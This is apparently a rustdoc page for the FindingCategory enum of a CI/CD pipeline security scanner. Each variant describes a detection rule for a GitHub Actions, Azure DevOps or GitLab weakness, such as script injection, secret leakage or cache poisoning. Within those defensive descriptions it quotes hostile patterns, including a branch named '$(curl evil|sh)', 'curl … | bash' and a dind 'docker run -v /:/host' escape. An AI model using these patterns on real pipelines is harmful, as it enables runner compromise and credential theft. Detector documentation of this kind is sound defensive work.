pub enum FindingCategory {
Show 58 variants
AuthorityPropagation,
OverPrivilegedIdentity,
UnpinnedAction,
UntrustedWithAuthority,
ArtifactBoundaryCrossing,
FloatingImage,
LongLivedCredential,
PersistedCredential,
TriggerContextMismatch,
CrossWorkflowAuthorityChain,
AuthorityCycle,
UpliftWithoutAttestation,
SelfMutatingPipeline,
CheckoutSelfPrExposure,
VariableGroupInPrJob,
SelfHostedPoolPrHijack,
ServiceConnectionScopeMismatch,
TemplateExtendsUnpinnedBranch,
TemplateRepoRefIsFeatureBranch,
VmRemoteExecViaPipelineSecret,
ShortLivedSasInCommandLine,
SecretToInlineScriptEnvExport,
SecretMaterialisedToWorkspaceFile,
KeyVaultSecretToPlaintext,
TerraformAutoApproveInProd,
AddSpnWithInlineScript,
ParameterInterpolationIntoShell,
RuntimeScriptFetchedFromFloatingUrl,
PrTriggerWithFloatingActionRef,
UntrustedApiResponseToEnvSink,
PrBuildPushesImageWithFloatingCredentials,
SecretViaEnvGateToUntrustedConsumer,
NoWorkflowLevelPermissionsBlock,
ProdDeployJobNoEnvironmentGate,
LongLivedSecretWithoutOidcRecommendation,
PullRequestWorkflowInconsistentForkCheck,
GitlabDeployJobMissingProtectedBranchOnly,
TerraformOutputViaSetvariableShellExpansion,
RiskyTriggerWithAuthority,
SensitiveValueInJobOutput,
ManualDispatchInputToUrlOrCommand,
SecretsInheritOverscopedPassthrough,
UnsafePrArtifactInWorkflowRunConsumer,
ScriptInjectionViaUntrustedContext,
InteractiveDebugActionInAuthorityWorkflow,
PrSpecificCacheKeyInDefaultBranchConsumer,
GhCliWithDefaultTokenEscalating,
CiJobTokenToExternalApi,
IdTokenAudienceOverscoped,
UntrustedCiVarInShellInterpolation,
UnpinnedIncludeRemoteOrBranchRef,
DindServiceGrantsHostAuthority,
SecurityJobSilentlySkipped,
ChildPipelineTriggerInheritsAuthority,
CacheKeyCrossesTrustBoundary,
PatEmbeddedInGitRemoteUrl,
CiTokenTriggersDownstreamWithVariablePassthrough,
DotenvArtifactFlowsToPrivilegedDeployment,
// some variants omitted
}Expand description
MVP categories (1-5) are derivable from pipeline YAML alone. Stretch categories (6-9) need heuristics or metadata enrichment.
Variants§
AuthorityPropagation
OverPrivilegedIdentity
UnpinnedAction
UntrustedWithAuthority
ArtifactBoundaryCrossing
FloatingImage
LongLivedCredential
PersistedCredential
Credential written to disk by a step (e.g. persistCredentials: true on a checkout).
Disk-persisted credentials are accessible to all subsequent steps and any process
with filesystem access, unlike runtime-only HasAccessTo authority.
TriggerContextMismatch
Dangerous trigger type (pull_request_target / pr) combined with secret/identity access.
CrossWorkflowAuthorityChain
Authority (secret/identity) flows into an opaque external workflow via DelegatesTo.
AuthorityCycle
Circular DelegatesTo chain — workflow calls itself transitively.
UpliftWithoutAttestation
Privileged workflow (OIDC/broad identity) with no provenance attestation step.
SelfMutatingPipeline
Step writes to the environment gate ($GITHUB_ENV, pipeline variables) — authority can propagate.
CheckoutSelfPrExposure
PR-triggered pipeline checks out the repository — attacker-controlled fork code lands on the runner.
VariableGroupInPrJob
ADO variable group consumed by a PR-triggered job, crossing trust boundary.
SelfHostedPoolPrHijack
Self-hosted agent pool used in a PR-triggered job that also checks out the repository.
ServiceConnectionScopeMismatch
Broad-scope ADO service connection reachable from a PR-triggered job without OIDC.
TemplateExtendsUnpinnedBranch
ADO resources.repositories[] entry referenced by an extends:,
template: x@alias, or checkout: alias consumer resolves with no
ref: (default branch) or a mutable branch ref (refs/heads/<name>).
Whoever owns that branch can inject steps into the consuming pipeline.
TemplateRepoRefIsFeatureBranch
ADO resources.repositories[] entry pinned to a feature-class branch
(anything outside the main / master / release/* / hotfix/*
platform set). Feature branches typically have weaker push protection
than the trunk, so any developer with write access to that branch can
inject pipeline YAML that runs with the consumer’s authority. Strictly
stronger signal than template_extends_unpinned_branch — co-fires.
VmRemoteExecViaPipelineSecret
Pipeline step uses an Azure VM remote-exec primitive (Set-AzVMExtension / CustomScriptExtension, Invoke-AzVMRunCommand, az vm run-command, az vm extension set) where the executed command line interpolates a pipeline secret or a SAS token — pipeline-to-VM lateral movement primitive logged in plaintext to the VM and ARM.
ShortLivedSasInCommandLine
A SAS token freshly minted in-pipeline is interpolated into a CLI argument (commandToExecute / scriptArguments / –arguments / -ArgumentList) instead of passed via env var or stdin — argv ends up in /proc/*/cmdline, ETW, ARM status.
SecretToInlineScriptEnvExport
Pipeline secret value assigned to a shell variable inside an inline
script (export VAR=$(SECRET), $X = "$(SECRET)"). Once the value
transits a shell variable, ADO’s $(SECRET) log mask no longer
applies — transcripts (Start-Transcript, bash -x, terraform debug
logs) print the cleartext.
SecretMaterialisedToWorkspaceFile
Pipeline secret value written to a file under the agent workspace
($(System.DefaultWorkingDirectory), $(Build.SourcesDirectory),
or relative paths) without secureFile task or chmod 600. The file
persists in the agent workspace and is uploaded by
PublishPipelineArtifact and crawlable by later steps.
KeyVaultSecretToPlaintext
PowerShell pulls a Key Vault secret with -AsPlainText (or
ConvertFrom-SecureString -AsPlainText, or older
.SecretValueText syntax) into a non-SecureString variable. The
value never traverses the ADO variable-group boundary, so verbose
Az/PS logging and error stack traces print the credential.
Rule id is keyvault_secret_to_plaintext (single token “keyvault”)
rather than the snake_case derivation key_vault_… — matches the
docs filename and the convention used in the corpus evidence.
TerraformAutoApproveInProd
terraform apply -auto-approve against a production-named service connection
without an environment approval gate.
AddSpnWithInlineScript
AzureCLI@2 task with addSpnToEnvironment: true AND an inline script —
the script can launder federated SPN/OIDC tokens into pipeline variables.
ParameterInterpolationIntoShell
A type: string pipeline parameter (no values: allowlist) is interpolated
via ${{ parameters.X }} into an inline shell/PowerShell script body —
shell injection vector for anyone with “queue build”.
RuntimeScriptFetchedFromFloatingUrl
A run: block fetches a remote script from a mutable URL (refs/heads/,
/main/, /master/) and pipes it directly to a shell interpreter
(curl … | bash, wget … | sh, bash <(curl …), deno run https://…).
Whoever controls that URL’s content controls execution on the runner.
PrTriggerWithFloatingActionRef
Workflow trigger combines high-authority PR events
(pull_request_target, issue_comment, or workflow_run) with a step
whose uses: ref is a mutable branch/tag (not a 40-char SHA). Compromise
of the action’s default branch yields full repo write on the target repo.
UntrustedApiResponseToEnvSink
A workflow_run-triggered workflow captures a value from an external
API response (gh pr view, gh api, curl api.github.com) and writes
it into $GITHUB_ENV/$GITHUB_OUTPUT/$GITHUB_PATH without sanitisation.
A poisoned API field (branch name, title) injects environment variables
into every subsequent step in the same job.
PrBuildPushesImageWithFloatingCredentials
A pull_request-triggered workflow logs into a container registry via a
floating (non-SHA-pinned) login action. The compromised action receives
OIDC tokens or registry credentials, and the workflow then pushes a
PR-controlled image to a shared registry.
SecretViaEnvGateToUntrustedConsumer
First-party step writes a Secret/Identity-derived value into the
$GITHUB_ENV gate (or pipeline-variable equivalent) and a later
step in the same job that runs in Untrusted or ThirdParty trust
zone reads from the runner-managed env (${{ env.X }}). The two
component rules — self_mutating_pipeline (writer) and
untrusted_with_authority (consumer) — each see only half the
chain and emit no finding for the laundered consumer; this rule
closes the composition gap that R2 attack #3 exploited.
NoWorkflowLevelPermissionsBlock
Positive-invariant rule (GHA): the workflow declares neither a
top-level nor a per-job permissions: block, leaving GITHUB_TOKEN at
its broad platform default. Fires once per workflow file.
ProdDeployJobNoEnvironmentGate
Positive-invariant rule (ADO): a job referencing a production-named
service connection has no environment: binding, so it bypasses the
only ADO-side approval gate regardless of whether -auto-approve is
present. Strictly broader than terraform_auto_approve_in_prod.
LongLivedSecretWithoutOidcRecommendation
Positive-invariant rule (cross-platform): a long-lived static
credential is in scope but the workflow does not currently use any
OIDC identity even though the target cloud supports federation.
Advisory uplift on top of long_lived_credential that wires the
existing Recommendation::FederateIdentity variant.
PullRequestWorkflowInconsistentForkCheck
Positive-invariant rule (GHA): a PR-triggered workflow has multiple
privileged jobs where SOME have the standard fork-check if: and
OTHERS do not. Detects an intra-file inconsistency in defensive
posture — the org has the right instinct but applied it unevenly.
GitlabDeployJobMissingProtectedBranchOnly
Positive-invariant rule (GitLab): a job with a production-named
environment: binding has no rules: / only: clause restricting
it to protected branches. Deploy job runs (or attempts to run) on
every pipeline trigger.
TerraformOutputViaSetvariableShellExpansion
Two-step ADO chain: an inline script captures a terraform output
value (literal terraform output CLI invocation or a $env:TF_OUT_* /
$TF_OUT_* env var sourced from a Terraform CLI task) AND emits a
##vso[task.setvariable variable=X;...] directive setting that
captured value into pipeline variable X. A subsequent step in the
same job then expands $(X) in shell-expansion position
(bash -c "...", eval, command substitution $(...), PowerShell
-split / Invoke-Command / Invoke-Expression/iex, or as an
unquoted command word). The task.setvariable hop launders
attacker-controlled Terraform state — sourced from a remote backend
(S3 bucket, Azure Storage) that often has weaker access controls than
the pipeline itself — through pipeline-variable space and into a
shell interpreter.
RiskyTriggerWithAuthority
GHA workflow declares a high-blast-radius trigger (issue_comment,
pull_request_review, pull_request_review_comment, workflow_run)
alongside write permissions or non-GITHUB_TOKEN secrets. Closes the
gap left by trigger_context_mismatch only firing on
pull_request_target / ADO pr.
SensitiveValueInJobOutput
A jobs.<id>.outputs.<name> value is sourced from secrets.*, an
OIDC-bearing step output, or has a credential-shaped name. Job outputs
flow unmasked through needs.<job>.outputs.* and are written to the
run log — masking is heuristic, never authoritative.
ManualDispatchInputToUrlOrCommand
A workflow_dispatch.inputs.* value flows into curl / wget /
gh api / a run: URL / actions/checkout ref:. Anyone with
dispatch permission can pivot the run to attacker-controlled refs or
hosts.
SecretsInheritOverscopedPassthrough
A reusable workflow call uses secrets: inherit while the caller is
triggered by an attacker-influenced event (pull_request,
pull_request_target, issue_comment, workflow_run). The whole
caller secret bag forwards to the callee regardless of what the callee
actually consumes — every transitive uses: in the called workflow
inherits the same scope.
UnsafePrArtifactInWorkflowRunConsumer
A workflow_run- or pull_request_target-triggered consumer
downloads an artifact from the originating run AND interprets that
artifact’s content into a privileged sink (post-to-comment, write to
$GITHUB_ENV, eval, …). The producer ran in PR context, so a
malicious PR can write arbitrary content into the artifact while the
consumer holds upstream-repo authority.
ScriptInjectionViaUntrustedContext
A GitHub Actions run: block (or actions/github-script script: body)
interpolates an attacker-controllable expression — ${{ github.event.* }},
${{ github.head_ref }}, or ${{ inputs.* }} from a privileged trigger
(workflow_dispatch / workflow_run / issue_comment) — directly into
the script text without first binding through an env: indirection.
Classic GitHub Actions remote-code-execution pattern.
InteractiveDebugActionInAuthorityWorkflow
A workflow that holds non-GITHUB_TOKEN secrets or non-default
write permissions includes a step that uses an interactive debug action
(mxschmitt/action-tmate, lhotari/action-upterm, actions/tmate, …).
A maintainer flipping debug_enabled=true publishes the runner’s full
environment over an external SSH endpoint.
PrSpecificCacheKeyInDefaultBranchConsumer
An actions/cache step keys the cache on a PR-derived expression
(github.head_ref, github.event.pull_request.head.ref, github.actor)
in a workflow that ALSO runs on push: branches: [main] — a PR can
poison the cache that the default-branch build later restores.
GhCliWithDefaultTokenEscalating
A run: step uses gh / gh api with the default GITHUB_TOKEN to
perform a write-class action (pr merge, release create/upload,
api -X POST/PATCH/PUT/DELETE to /repos/.../{contents,releases,actions/secrets,environments})
inside a workflow triggered by pull_request, issue_comment, or
workflow_run — runtime privilege escalation that static permission
checks miss.
CiJobTokenToExternalApi
GitLab CI $CI_JOB_TOKEN (or gitlab-ci-token:$CI_JOB_TOKEN) used as a
bearer credential against an external HTTP API or fed to docker login
for registry.gitlab.com. CI_JOB_TOKEN’s default scope (registry write,
package upload, project read) means a poisoned MR job that emits the
token to a webhook can pivot to package/registry pushes elsewhere.
IdTokenAudienceOverscoped
GitLab CI id_tokens: declares an aud: audience that is reused across
MR-context and protected-context jobs (no audience separation), or is a
wildcard / multi-cloud broker URL. The audience is what trades for
downstream cloud creds — a single shared aud means any job that
compromises the token assumes the most-privileged role any other job
uses.
UntrustedCiVarInShellInterpolation
Direct shell interpolation of attacker-controlled GitLab predefined
vars ($CI_COMMIT_BRANCH, $CI_COMMIT_REF_NAME, $CI_COMMIT_TAG,
$CI_COMMIT_MESSAGE, $CI_COMMIT_TITLE, $CI_MERGE_REQUEST_TITLE,
$CI_MERGE_REQUEST_DESCRIPTION,
$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME, $CI_COMMIT_AUTHOR) into
script: / before_script: / after_script: / environment:url:
without single-quote isolation. A branch named $(curl evil|sh)
executes inside the runner. GitLab generalisation of the GHA
script_injection_via_untrusted_context class.
UnpinnedIncludeRemoteOrBranchRef
A GitLab include: references (a) a remote: URL pointing at a
branch (/-/raw/<branch>/...), (b) a project: with ref: resolving
to a mutable branch name (main/master/develop), or (c) an include with
no ref: at all (defaults to HEAD). Whoever owns that branch can
backdoor every consumer’s pipeline silently — included YAML executes
with the consumer’s secrets and CI_JOB_TOKEN.
DindServiceGrantsHostAuthority
A GitLab job declares a services: [docker:*-dind] sidecar AND holds
at least one non-CI_JOB_TOKEN secret (registry creds, deploy keys,
signing keys, vault id_tokens). docker-in-docker exposes the full
Docker socket inside the job container — a malicious build step can
docker run -v /:/host from inside dind and read the runner host
filesystem (other jobs’ artifacts, cached creds).
SecurityJobSilentlySkipped
A GitLab job whose name or extends: matches scanner patterns
(sast, dast, secret_detection, dependency_scanning,
container_scanning, gitleaks, trivy, grype, semgrep, etc.)
runs with allow_failure: true AND has no rules: clause that
surfaces the failure. The pipeline goes green even when the scan
errors out — silent-pass is worse than no scan because reviewers trust
the badge.
ChildPipelineTriggerInheritsAuthority
A GitLab trigger: job (downstream / child pipeline) runs in
merge_request_event context OR uses include: artifact: from a
previous job (dynamic child pipeline). Dynamic child pipelines are a
code-injection sink — anything the build step writes to the artifact
runs as a real pipeline with the parent project’s secrets.
CacheKeyCrossesTrustBoundary
A GitLab cache: declaration whose key: is hardcoded, $CI_JOB_NAME
only, or $CI_COMMIT_REF_SLUG without a policy: pull restriction.
Caches are stored per-runner keyed by key:; a poisoned MR can push a
malicious node_modules/ cache that the next default-branch job
downloads and executes during npm install.
PatEmbeddedInGitRemoteUrl
A CI script constructs an HTTPS git URL with embedded credentials
(https://user:$TOKEN@host/...) before invoking git clone,
git push, or git remote set-url. The credential is exposed
in the process argv (visible to ps, /proc/*/cmdline), persists
in .git/config for the rest of the job, and may be uploaded as
part of any artifact that bundles the workspace.
CiTokenTriggersDownstreamWithVariablePassthrough
A CI job triggers a different project’s pipeline via the GitLab
REST API using CI_JOB_TOKEN and forwards user-influenced variables
through the variables[KEY]=value query/form parameter. The
downstream project’s security depends on the trust contract between
the two projects — variable values flowing across that boundary
constitute a cross-project authority bridge.
DotenvArtifactFlowsToPrivilegedDeployment
A GitLab job emits an artifacts.reports.dotenv: <file> artifact
whose contents become pipeline variables for any consumer linked
via needs: or dependencies:. A consumer in a later stage that
targets a production-named environment inherits those variables
transparently — no explicit download is visible at the job level.
When the producer reads attacker-influenced inputs (branch names,
commit messages), the dotenv flow is a covert privilege escalation
channel into the deployment job.
Trait Implementations§
Source§impl Clone for FindingCategory
impl Clone for FindingCategory
Source§fn clone(&self) -> FindingCategory
fn clone(&self) -> FindingCategory
1.0.0 · Source§fn clone_from(&mut self, source: &Self)
fn clone_from(&mut self, source: &Self)
source. Read moreSource§impl Debug for FindingCategory
impl Debug for FindingCategory
Source§impl<'de> Deserialize<'de> for FindingCategory
impl<'de> Deserialize<'de> for FindingCategory
Source§fn deserialize<__D>(__deserializer: __D) -> Result<Self, __D::Error>where
__D: Deserializer<'de>,
fn deserialize<__D>(__deserializer: __D) -> Result<Self, __D::Error>where
__D: Deserializer<'de>,
Source§impl Hash for FindingCategory
impl Hash for FindingCategory
Source§impl PartialEq for FindingCategory
impl PartialEq for FindingCategory
Source§impl Serialize for FindingCategory
impl Serialize for FindingCategory
impl Copy for FindingCategory
impl Eq for FindingCategory
impl StructuralPartialEq for FindingCategory
Auto Trait Implementations§
impl Freeze for FindingCategory
impl RefUnwindSafe for FindingCategory
impl Send for FindingCategory
impl Sync for FindingCategory
impl Unpin for FindingCategory
impl UnsafeUnpin for FindingCategory
impl UnwindSafe for FindingCategory
Blanket Implementations§
Source§impl<T> BorrowMut<T> for Twhere
T: ?Sized,
impl<T> BorrowMut<T> for Twhere
T: ?Sized,
Source§fn borrow_mut(&mut self) -> &mut T
fn borrow_mut(&mut self) -> &mut T
Source§impl<T> CloneToUninit for Twhere
T: Clone,
impl<T> CloneToUninit for Twhere
T: Clone,
Source§impl<Q, K> Equivalent<K> for Q
impl<Q, K> Equivalent<K> for Q
Source§impl<Q, K> Equivalent<K> for Q
impl<Q, K> Equivalent<K> for Q
Source§fn equivalent(&self, key: &K) -> bool
fn equivalent(&self, key: &K) -> bool
key and return true if they are equal.